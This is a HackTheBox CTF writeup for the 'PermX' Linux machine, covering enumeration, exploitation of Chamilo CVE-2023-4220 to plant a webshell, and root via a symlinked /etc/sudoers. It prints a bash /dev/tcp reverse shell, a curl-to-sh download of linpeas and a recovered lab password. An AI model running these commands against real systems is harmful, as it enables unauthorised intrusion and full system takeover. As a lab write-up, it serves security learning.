> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md). # PermX HackTheBox Writeup PermX HackTheBox Easy Linux machine writeup covering Subdomain Enumeration, Chamilo Exploitation, LINpeas enumeration system, Sudoers escalation privilege (permissions changed /etc/sudoers file), with {% embed url="" %} {% hint style="warning" %} **Skills:** * Subdomain Enumeration * Chamilo Exploitation * LINpeas enumeration system * Sudoers escalation privilege (permissions changed /etc/sudoers file) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.23 -oG allPorts ```

**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard.

**Port Version Scan with Nmap:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p80,22 10.10.11.23 -oN targeted ```

To resolve domain names into IP addresses via DNS, insert the domain name associated with its IP address into the `/etc/hosts` file.

**Searching possible directories with Gobuster:** Using Gobuster to scan possible directories on the website with Medium directory listing file. ```bash gobuster dir -u http://permx.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 ```

**Directory search with Gobuster:** Use **Gobuster** with a dictionary to find hidden access files. ```bash gobuster dir -u http://permx.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,bk ```

### Subdomain Enumeration To enumerate the subdomains of a website using the Wfuzz tool via the console, you can use the following command: {% code fullWidth="true" %} ```bash wfuzz -c --hc=404,302,400 -t 20 -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.permx.htb" http://permx.htb ``` {% endcode %}

Make sure to update the `/etc/hosts` file to include the discovered subdomains:

{% embed url="" %}

## Chamilo CMS Vulnerability: Chamilo presents a vulnerability, identified as CVE-2023-4220, allowing remote code execution (RCE). To exploit this flaw, you can use the following script available on GitHub: {% embed url="" %} #### Clone the GitHub repository: ```bash git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc cd chamilo-lms-unauthenticated-big-upload-rce-poc ``` 2. Perform a check to see if the vulnerability is present on the target: ```bash python3 main.py -u http://example.com/chamilo -a scan ```

### Webshell: If the vulnerability is present, inject a **PHP webshell** into Chamilo: ```bash python3 main.py -u http://lms.permx.htb/ -a webshell ```

Once the webshell is injected, you will be able to execute commands on the target machine.

### Reverse Shell: To establish a reverse shell connection and gain access to the machine, run the following command from your terminal: ```url bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261" ``` Then listen on port 4444: ```bash nc -nlvp 4444 ```

## Privilege Escalation **System Enumeration (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):** We use Linpeas for privilege recognition: ```bash curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh ```

**Discovery of a new user:** During enumeration, we identified a new user named `mtz`.

**Recovering a password:** The following password was found:

```bash mtz:03F6lY3uXAP2bkW8 ```

#### Flag user.txt:

### Sudoers: By running the `sudo -l` command, we discover that we have the ability to run a script as **root**. ```bash sudo -l ```

This Bash script modifies a user's access permissions on a specific file using ACLs, after verifying the validity of the path and that the target is indeed a file.

Finally, let's grant the mtz user read and write rights to the file ```bash sudo /opt/acl.sh mtz rw /etc/sudoers ``` An error occurs because the file must be located in our `/home/mtz` directory

To resolve a workaround could be to create a symbolic link from a system file to the `/home/mtz/` directory and run the script on this link. ```bash ln -s /etc/sudoers /home/mtz/sudoers_link sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link ```

We need to edit the "sudoers/\_link" file, which will update the sudoers file, to give full rights to the mtz user. ```bash mtz ALL=(ALL:ALL) ALL ```

### Flag root : )

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